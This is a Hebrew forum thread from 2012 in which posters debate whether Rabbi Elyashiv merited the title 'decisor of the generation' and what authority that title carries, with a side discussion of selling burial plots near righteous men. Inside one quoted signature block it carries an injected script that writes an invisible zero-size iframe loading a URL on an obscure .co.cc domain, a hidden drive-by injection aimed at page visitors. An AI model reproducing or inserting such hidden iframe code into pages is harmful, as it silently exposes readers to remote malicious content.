| נשלח ב-2/8/2012 19:04 |
 |
| |
הרב אלישיב זצ"ל כפוסק הדור
הדברים נכתבים מתוך הערכה עצומה לרב זצ"ל, אבל מטרתם להביע ביקורת על הסופרלטיבים הטפשיים לדעתי בהם הכתירוהו. במאמר בהפלס מבכה הרב שמואל דויטש את האבדה, משווה את הגריש"א למהרי"ל דיסקין ומדבר על יתמות הדור וכו'. כל מי שמכיר את המציאות, יודע שהרב אלישיב לא היה מעולם פוסק של שום דור. הוא בהחלט היה מתמיד עצום, בעל זכרון מדהים, חדות שכל בלתי מצויה, חשיבה ישרה והגיונית, אישיות ישרה, וכו' כבר הספידוהו רבים ולא לי לעשות זאת. אבל בשורה התחתונה של גדלות בתורה, משהו שמזכיר את מהרי"ל דיסקין ודומיו, הוא לא הביא שום פרי מיוחד, בימי זקנותו, כמדומני שבמשך היום הוא היה לומד בגמרא שוטנשטיין ( אפשר לראות בתמונות), ובערב מוסר שיעור ברמה של בעלי בתים, (יש 30 כרכים בהם אפשר לבדוק זאת), לדעתי השיעור לא מתרומם מעל הרמה של ההערות של עוז והדר, אין בו ניתוח דקדקני ומעמיק של הראשונים, אלא הערות לפו"ר בעלבטיש. ספר בינוני ומטה. קובץ תשובות ספר חשוב, ישר, מנומק, קצר וקולע, אבל ממש לא גדול הדור ולא פוסק הדור. לא בכמות ולא באיכות. עיקר הפסקים שחידש הגריש"א היו כמה חומרות חדישות, מהן תמוהות, כגון שצריך לגור בחנוכה כל השבוע במקום אחד, ענינים מקומיים לא רציניים, כמעט ואין לו איזה פסק הלכה משמעותי מקיף מעמיק וכו', כמו שמוצאים אצל הגרשז"א למשל למאות. הכל אפור ובינוני, א"א להתעלם שהתמצאות בעניני זרעים ובכל התורה כולה סייעה לו להשיב למכון של הרב אפרתי, אבל גם שם, מי שקורא, אין משהו מיוחד, יש בקיאות וישרות. בא נגיד באיזור של הרב עובדיה בלי הסטיה הספרדית, בלי הגיק לשותי"ם נידחים, ועם קצת יותר ברק. זה לא עומד בשורה אחת עם גאוני הדורות, ולא מותיר אותנו יתומים משום בחינה. מבחינת הנהגת הדור הוא לא יזם שום דבר, כששאלו אותו לפעמים השיב למקוטעין ובקיצור, רק בשנים האחרונות כשלא היה את מי לשאול שאלו אותו יותר וכל התשובות היו פסיביות, ללא שום יזמה. אם כי כמובן היו פקחיות הגיוניות וישרות, כמנהגו, אבל לא משהו שמתרומם למדרגה של מנהיג שמשהו חסר לנו כעת. מקוה שלא ניגרר לדיון קטנוני של כאילו באתי לזלזל ברב, אם הרב לא היה זוכה לאריכות ימים ונפטר לפני 20 שנה, הוא היה מקבל את ההספד הראוי לו בדיוק, גאון, מתמיד, ת"ח עצום, וכו'. אבל ב20 שנים האלו הרב לא התקדם בשום תחום מיוחד, ואילו הסופרלטיבים התקדמו.
תוקן על ידי מנהלי_משנה ב- 02/08/2012 19:34:27
 |
|
|
|
|
| נשלח ב-9/8/2012 15:07 |
|
| |
בהודעתי הקודמת רמזתי לדברי הסמ"ג במצוה ל"ת קצה-קצו: "... ועוד אזהרה שאם ידבר מופלא שבדיינים בדיני נפשות, שאסור לנטות מדבריו, לפיכך מתחילין בדיני נפשות מן הצד, לקטנים שבהם שואלין תחילה שיאמרו דעתן, שנא' אחרי רבים לרעות ...". אין לי ספק שהיה ברור לכל שלא עלה על דעתי לומר שייתכן שהוא מקור הלכת הדיין שרמן, והסיבות הן רבות: הלכת הסמ"ג מוגבלת לדיני נפשות, והרב שרמן עוסק ב"הלכה" גורפת, הלכת הסמ"ג עוסק בבית דין מוכר, ובעל תפקיד מוגדר, ואילו הרב שרמן מדבר בתפקיד לא מוכר, שלא היה בעם ישראל עד לאחרי מלחמת העולם השניה, ועוד סיבות כהנה וכהנה. מיהו המופלא שבב"ד, ראה כאן: http://db.tt/YRQC2Wkp
|
|
|
|
| נשלח ב-9/8/2012 12:58 |
|
| |
<אחת הטענות של הרב שרמן בפסק דינו בנושא הגיור היתה שהרב אלישיב הוא פוסק הדור ולכן כל הדיינים כפופים לדעתו ולא רשאים לפסוק אחרת>
כוונתו שמקורה של הלכה זו הוא הסמ"ג ב"לא תענה על ר(י)ב"?
|
|
|
|
| נשלח ב-8/8/2012 18:33 |
|
| |
אחת הטענות של הרב שרמן בפסק דינו בנושא הגיור היתה שהרב אלישיב הוא פוסק הדור ולכן כל הדיינים כפופים לדעתו ולא רשאים לפסוק אחרת.
סוגיית זקן ממרא אינה קשה כלל. בית דין הגדול מחייב בגלל סמכותו ולא בגלל גדלותו, וכמעשה ר"ג ור"י ביום הכיפורים - רבי בחכמה ותלמידי שקיבלת את דברי. יש מקרים שצריך לציית לסמכות גם אם פירוש הדבר לעשות היפך התורה.
|
|
|
|
| נשלח ב-8/8/2012 18:24 |
|
| |
עציוני
במאוחר גיליתי /נזכרתי שיש אשכול על המושג של "פוסק הדור" כך שכל האשכול הזה מיותר. אם לגבי הרב אלישיב, יש דיונים. אם לגבי "פוסק הדור" יש גם כן.
אני ממליץ לציין לינק מכאן לשם וזמנית לנעול כדי לא להרבות סתם.
בכל אופן, לשאלתך.
ודאי שאני אישית סבור שצריך מי שיודע לנהוג לפי ידיעתו. ואדרבה, אין לו ברירה אחרת.
מה כתב הרב שרמן והיכן?
אני מפנה אל הוריות ב ב ואולי גם ג א ששם דנים בשאלת הביטול לפני החכם למרות שאני מבין אחרת ושם ודאי כתוב כמוך (וכמוני).
וכמובן צריך ליישב כל זאת מול סוגית "זקן ממרא".
וקיצרתי יתר על המידה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-8/8/2012 18:09 |
|
| |
| מיימוני כתב: |  |
מתוך דברי אלו יש להבין, ומזה הייתי צריך להתחיל, כי הנפקא מינה במעמד של "פוסק הדור" היא בעיקר לקבלת הכרעות שאחרים אמורים לבטל את דעתם מפני הפוסק של הדור.
...
(יש נפקא מינות נוספות למי שמוגדר כ"חכם הדור" כמובא בהגהות הרמ"א פה ושם, כגון שהוא מחייב כבוד מכל התלמידים כאילו היה רבם מובהק ועוד).
|
|
מיימוני,
האומנם אמורים אחרים לבטל את דעתם בפני דעתו של פוסק הדור?
אמנם נכון, שאם אדם מתלבט בדין, וידוע לו שרב פלוני פסק באופן אחד ורב אחר, "גדול" יותר המקובל כפוסק הדור פסק אחרת, אזי ניתן להבין שהמתלבט יעדיף את דעת הפוסק הגדול. אך זה נכון גם ביחס לרב מליגה ד' לעומת רב מליגה ג', ונכון גם ביחס לרופאי עיניים - תמיד נעדיף את דעתו של מי שנראה לנו מומחה גדול יותר. אין כאן שום מעמד ייחודי לפוסק הדור.
ואם יש חכם הראוי להוראה (ואולי גם סתם אדם) שדן בנושא והגיע למסקנה שונה מזו של המכונה פוסק הדור, האם עליו לנהוג על פי מסקנתו האישית או על פי דעת אחרים? נראה פשוט שמסקנתו האישית היא המחייבת אותו, לקולא ולחומרא, וכי איך יעשה בניגוד למה שלדעתו הוא דין תורה? נכון שיש הסוברים כי עליו לבטל דעתו (כך שיטת הרב שרמן שעוררה פולמוס עז) אך בודאי שאין זו הדעה המקובלת, ומתוך היכרותי הוירטואלית איתך, אף אתה אינך סובר כך.
אין צורך למצוא נפקא מינא לתואר פוסק הדור, שהרי אין זה מושג הלכתי אלא תקשורתי גרידא.
|
|
|
|
| נשלח ב-8/8/2012 13:23 |
|
| |
עדות מפי בעל הדבר בכבודו ובעצמו על הרב אליישיב.
אמר עורך "אני המלכתי את הרב אלישיב ואני יכול גם להוריד אותו"? ו
|
|
|
|
| נשלח ב-7/8/2012 20:55 |
|
| |
השכן
אני מתערב איתך כי אף אחד מהספרים או אחת מההנהגות, לא יהיו להקל, לא יהיו חקירות ודרישות להקל על החיים, אלא להפך.
משום מה הלומדים לא לומדים מסכ' ביצה עם רש"י
|
|
|
|
| נשלח ב-7/8/2012 20:06 |
|
| |
כידוע, גדולים צדיקים במיתתם. היינו,שאחרי שהם מתים מוצאים עוד ועוד דברים לתלות בהם, והם גדלים עוד. אל תתפלאו למצוא ספרי הנהגות, שבחים ועוד על הרב אלישיב, שלא רק אתם לא ידעתם מהם, גם הוא לא ידע. אגב, זה כולל גם תשובות ופסקי הלכה. פתאום איזה רב מספר שכך ראה אצל הרב אלישיב, או כך הורה לו, והנה פסק חדש של הרב אלישיב. זה קרה לרבים לפניו....
_________________
אוי לשכן
ואוי לשכנו
|
|
|
|
| נשלח ב-7/8/2012 15:07 |
|
| |
שחור כתום
ברוך הבא אל הפורום!
***
שחור כתום, יעבץ, וכולם
יש מספר פונקציות שניתן לזהות אצל רב.
הן מקבילות לסוגי השאלות שמגיעות אליו, או שהוא נדרש להן.
ניתן למקמן על ציר לפי מידת החומרה או החידוש שבהן.
1. שאלות שהתשובה עליהן כבר אמורה להיות ידועה והיא חלק מן המסורת.
כאן יכולות להופיע דוגמאות רבות מספרים רבים: החל מן הגמרא והרי"ף, עבור לשו"ע (כלומר הספר המקורי כפי שיצא מידי ר' יוסף קארו) והמשנה ברורה וספרי אחרונים.
לדוגמא: האם מותר לאכול ביצה בחלב (דוגמא בגמרא לשאלה פשוטה שאין צורך בידיעות רבות כדי לענות עליה. כן, מותר).
בצד השני נמצאות
2. שאלות חדשות לגמרי (מעלית שבת).
בתווך נמצאות שאלות שיש להן תשובה הנתונה במחלוקת, או שאלה לגבי מצב שיש בו לכתחילה ודיעבד, או שיש שיקולים מיוחדים.
כדי לענות על שאלות מהסוג הראשון ניתן להסתפק בידע בספרות הקובעת. יש לשים לב שלקהילות שונות ספרות מחייבת משלה. למשל, יש חסידויות שבהן אין לאשה להסתפק בפאה ועליה להניח מעליה כובע או בדומה לזה. או שמוציאים את השבת בזמן ר"ת.
כדי לענות על שאלות מהסוג השני צריך כישורים רחבים יותר. וראוי היה לעשות רשימה שלהם. כמדומה שכבר היו על זה אשכולות בפורום.
צריך:
ידע בספרות.
מוכנות נפשית לקבלת אחריות ("כתפים רחבות")
אובנתא דליבא (=הבנת הלב, תכונה שהחזו"א ייקר ביותר). קשה מאד לומר מהי. אבל בלעדיה מקבלים תשובות "עקומות".
צריך גם הבנה חברתית כדי לא לענות תשובות שיגרמו למחלוקות מיותרות (אם כי לפעמים אין מנוס ממחלוקת).
צריך הבנה באותו תחום שכיניתי "מטא הלכה" והוא בעצם כולל את רוב מה שכתבתי כאן כיון שזו כותרת רחבה מאד.
התכונות האלו מאפשרות לאדם להיות "פוסק" במובן של מי שעונה תשובות חדשות לשאלות מתחדשות.
מבין פוסקי הדורות האחרונים לא כולם נחנו באותם כישורים וגם לא פסקו לפי אותה גישה.
מקובל אצלנו בציבור החרדי להיזהר מאד מפני דירוג של תלמידי חכמים. ועם כל זאת דומה שאפשר להבחין בין סגנונות לימוד וגישות שונות לפסק אצל אישים כמו הרב עובדיה יוסף ולהבדיל בין החיים לחיים: הרב משה פיינשטיין והרב שלמה זלמן אויירבך, והחזו"א, אם כי הכל יסכימו שהם יכולים להחשב ל"פוסקים" במובן זה.
יש עוד רבנים מפורסמים בזמננו, שהם עונים על הדרישה של כתום שחור - החשובה מאד לעצמה - של כתיבת תשובות. אבל אני עצמי מהסס אם לכללם ברשימה של "פוסקים" ובוודאי שלא הייתי מסכים, לפי מיעוט הכרתי עם כתיבתם ואופי הנהגתם, לכלול אותם ברשימה של פוסקים הראויים לתפקיד (אבל זו דעתי שלי, אם כי אני מוכן לנמק ולהגן עליה, וכמובן לשמוע אם יש לי מה לתקן).
יש מקום, עם כל הזהירות ההכרחית, לשאול אם גם הרב אלישיב נחן בכישורים אלו ואם הפסיקות שלו הן מהסוג זה. (כמובן, גם פוסק יכול לענות תשובות שמספיק עבורן ידע טכני במקורות, וגם מי שאינו פוסק מומחה עשוי להבריק עם תשובה שמצטיינת - לדעתי שלי - בתובנות מטא הלכתיות).
אחרי כל האבחנות האלו יש מקום לשאלה: האם יש לצרף לקטגוריות של רב טכני מול פוסק גם את הקטגוריה של "פוסק הדור" שכנראה חשוב וחכם מכל האחרים.
כמדומה שלמונחים אלו או מקביליהם יש מקור גם בתלמוד. ודאי שגם הסנהדרין היתה מסודרת לפי חכמתם של היושבים בה (ואולי לא רק? - אבל זה ודאי היה האידיאל. מי שנתמנה להיות ראש היה ר' אלעזר בן עזריה ולא ר' עקיבא).
יש גם מקום לטענה שחכם מופלג בפסיקה אמור להחשב בעיני העומדים מן הצד, גם החכמים, למכריע מול חכם אחר, אם השנים אינם מצליחים להגיע ביניהם להסכמה (אם כי הדרך הראויה להכריע צריכה להיות לימוד של שני הצדדים).
מתוך דברי אלו יש להבין, ומזה הייתי צריך להתחיל, כי הנפקא מינה במעמד של "פוסק הדור" היא בעיקר לקבלת הכרעות שאחרים אמורים לבטל את דעתם מפני הפוסק של הדור.
ואז אנו חוזרים לשאלה כיצד הוא נבחר וכיצד הוא מתמנה...
(יש נפקא מינות נוספות למי שמוגדר כ"חכם הדור" כמובא בהגהות הרמ"א פה ושם, כגון שהוא מחייב כבוד מכל התלמידים כאילו היה רבם מובהק ועוד).
|
|
|
|
|
| נשלח ב-7/8/2012 13:47 |
|
| |
השאלה המקדימה היא האם בכלל יש רמת פסיקה הגבוהה יותר מפסיקה של רב רגיל. אמנם הכוונה לרב שעונה מן השו"ע ונו"כ, או מן התלמוד. ולא למיי שאין לו שיקול דעת, אלא בקי בהכרעות של רבנים אחרים בני זמננו.
הרב אלישיב היה עונה לפי פשט דברי השו"ע, ולא היה תיחכום בתשובותיו, בדומה לרב דב ליאור. לא היה שום יתרון בפסיקה שלו על פני רב אחר.
יש גם נטיה להעריץ "עילויים", בעוד שרוב הבעיות ההלכתיות לא דורשות פתרונות מבריקים, אלא יישום של ההלכה הפשוטה באופן אמין ועקבי. לפי מבחן התוצאה, מערכת הפסיקה שנהנית מיוקרה של קבלת החלטות ברמה גבוהה, לא מספקת את התמורה.
כך לגבי חברות קדישא וקבורה בקומות, הטיפול בחולה הנוטה למות, מערכות הכשרות, בתי הדין הרבניים ובתי דין הפרטיים. כל המקומות הללו אדם צריך בסופו של דבר לפעול באופן עצמאי כדי לפעול לפי התורה.
|
|
|
|
| נשלח ב-7/8/2012 13:31 |
|
| |
| מיימוני כתב: | | ובחזרה לנושא הראשוני.
כמה שאלות יסוד אם כי הוצעו עליהן תשובות חלקיות.
א. מה זה "פוסק הדור"?
מה פירוש המונח? מה הם תנאי היסוד להיבחר? מי קובע? מה סמכותו בהשוואה לאחרים?
שאלה מקניטה: האם כאשר נפטר הפוסק הקודם, זוכה היורש לקידום? על סמך מה? על סמך הצורך של הדור, או על סמך מתנה משמים לפי צורך הדור? או שזה מעיד שכל חלוקת התארים הזו בלתי מוצדקת?
ב. מה ההיסטוריה של מינוי הרב אלישיב לתפקיד הזה?
יש כאן הרבה שאלות שרובן לא מתאימות לפורום שלנו. זהירות!
ויש גם שאלות שיכולות להוות מקור לדיון פורה. להבדיל.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
שלום עליכם מרנן ורבנן
אני חדש כאן,אבל הנושא הזה חורה לי רבות,עוד מתקופת אישפוזו של הגרי"ש זצ"ל.
אני מציע קריטריון פשוט ומדיד לתואר הזה.
מי שכתבו שו"תים (אגרות משה,ציץ אליעזר,יביע אומר,שבט הלוי,משנה הלכות) הם הם פוסקי הדור.ולמה? כי גם בעוד 100 שנה,ניתן לשלוף את הספר מהארון,לדון בו ולהתווכח עליו.
הרבנים הללו חשו היטב את דופק החיים של הדור,והם ישבו לילות שלמים כדי להכריע בבעיות.ומה שהכי חשוב-הם כתבו מה הם חושבים!
שלא כמו השמועות המופצות בשם כל מיני רבנים גדולים ("פאר הדור"-חיי החזון איש,הוא אחד הבולטים.מעניין למה הוא לא מסכים שיסמכו עליו להלכה...) הרי השו"תים הכתובים הם תורת אמת במובן זה שגם בעוד מאה שנה ניתן יהיה לסמוך עליהם.
|
|
|
|
| נשלח ב-7/8/2012 09:19 |
|
| |
ובחזרה לנושא הראשוני.
כמה שאלות יסוד אם כי הוצעו עליהן תשובות חלקיות.
א. מה זה "פוסק הדור"?
מה פירוש המונח? מה הם תנאי היסוד להיבחר? מי קובע? מה סמכותו בהשוואה לאחרים?
שאלה מקניטה: האם כאשר נפטר הפוסק הקודם, זוכה היורש לקידום? על סמך מה? על סמך הצורך של הדור, או על סמך מתנה משמים לפי צורך הדור? או שזה מעיד שכל חלוקת התארים הזו בלתי מוצדקת?
ב. מה ההיסטוריה של מינוי הרב אלישיב לתפקיד הזה?
יש כאן הרבה שאלות שרובן לא מתאימות לפורום שלנו. זהירות!
ויש גם שאלות שיכולות להוות מקור לדיון פורה. להבדיל.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-7/8/2012 09:17 |
|
| |
הנושא האחרון הוא מעניין מאד וראוי לדיון בפני עצמו.
פתחתי עבורו אשכול.
נא לא לכתוב בנושא זה כאן.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-7/8/2012 07:07 |
|
| |
דייר
<"היו פה שני אברכים חסידיים", מספר הגרב"צ ביידיש, ובהמשך עובר לעברית. "היה להם אבא חשוב, שכתב בצוואה לקבור אותו בבית העלמין בסנהדריה. סיפרתי לרב, שאחרי שקברו אותו, הם באו לקבר וחשכו עיניהם. הם פתאום ראו שלידו קבורים אנשים – אולי שומרי שבת, אבל ודאי לא מדקדקים במצוות. המשפחות באות בפריצות נוראה. הרבי אמר שיכולים להעביר אותו להר הזיתים"> http://www.bhol.co.il/forum/topic.asp?topic_id=1649453&forum_id=1364 בספר "חיים וברכה למשמרת שלום", חידושי דינים ליו"ד אות לא, כותב המחבר: "והנה כעת רבה המכשלה בהרבה מקומות, ולרוב בעיירות הקטנות נעשה הענין אצל הח"ק כמכס בלי קצבה וכמכס העומד מאליו, ולוקחין ממעות הנפטר או ממעות בניו סך רב עד בלי די... והרבה אנשים כשירים יש אשר הם בתוך החברא קדישא, והם ג"כ נלכדים בזה להחזיק ביד הח"ק לעכב קבורת המת עבור שרוצים ממון רב, ונעשה להם הדבר כהיתר, וזה כמעשה שטן המרקד ומצליח בזנ בהסיתולהם דמצווה הוא לעמוד נגד יורשיו, לגבות ממון לצורך העיר, בטענה וכי הנפטר עשה טוב כל ימי היותו, איה צדקותו ופזרונו לעניים, וזכות יהיה לנפטר אם יקחו כעת מעותיו לתקן בדקי העיר... וכל מי שבידו למחות ואינו מוחה עתיד ליתן את הדין, והירא דבר השם ישמור את נפשו, וירחיק א"ע ואת בניו לבל להתערב להיות תוך ח"ק כזו...".
אלא שהוא גם מספר על תעריפים שונים:
"והנה הן אמת באם הח"ק רוצים לקבור את המת בסך מועט, רק שבניו רוצים מקום גבוה וחשוב וסמוך לקברי צדיקים, או חשובי העיר יראי ה' ואנשי מעשה, כבר הסכים עמהם החת"ס (יו"ד סימן ש"ל) דהרשות בידם".
אף שהנוף הוא אותו הנוף, ישנם אנשים המוכנים לשלם עבור השכנות של הצדיקים.
באותו סימן מתלונן החתם סופר על שקוברים "סתם" אנשים ליד צדיקים, רק מפני שקרוביהם מוכנים לשלם כסף רב עבור המקום.
ואם חשבתם ש"מנהג" זה היה רק שם, אתם טועים.
גם החכמת אדם (כלל קנח אות ה), מתלונן על מנהגם של הח"ק:
"ולכן שלא כדין עושין הח"ק שקוברין עשיר שנותן ממון הרבה אף שלא היה אדם כשר אצל צדיק מפורסם".
גם המהרש"ל מתלונן על תופעה זו, שכתב, (ים של שלמה, יבמות פרק שלישי סוף אות ט"ז):
"ומה שנוהגין העשירים לקנות מקום חשוב לקברו, כדי להיות שוכבים אצל צדיק, לפי הסברא יוצא שכרם בהפסדם, כי אולי אינם ראוים לכך ויענשו, כי צר ורע לצדיק שישכב רשע או שאינו הגון אצלו, דמעשה דאלישע יוכיח ע"כ צרי' ראו' היטב, אם לא שידי בעלי כיסים תקפה עלינו".
איני מבין מה רע אם קוברים את העשירים ליד הצדיקים, מפני שהם משלמים כסף?
האם בחייהם לא היו הצדיקים מקרבים את העשירים בגלל הכסף שלהם?
כמה מהיושבים ליד שולחן הצדיק עניים, וכמה מהם הם עשירים?
גם בחייהם וגם במותם הם לא נפרדו.
את האנשים שאינם צדיקים או עשירים הם היו קוברים ע"י הכותל. (חיים וברכה למשמרת שלום בשם "בית יצחק" ח"ב יו"ד סוס"י קנו).
_____
תוקן על ידי נישטאיך ב- 07/08/2012 07:09:22
|
|
|
|
|
| נשלח ב-6/8/2012 17:39 |
|
| |
מה שהוא הכיר? הוא הרי היה יליד ירושליים הוא הכיר את קברות הסנהדרין
|
|
|
|
|
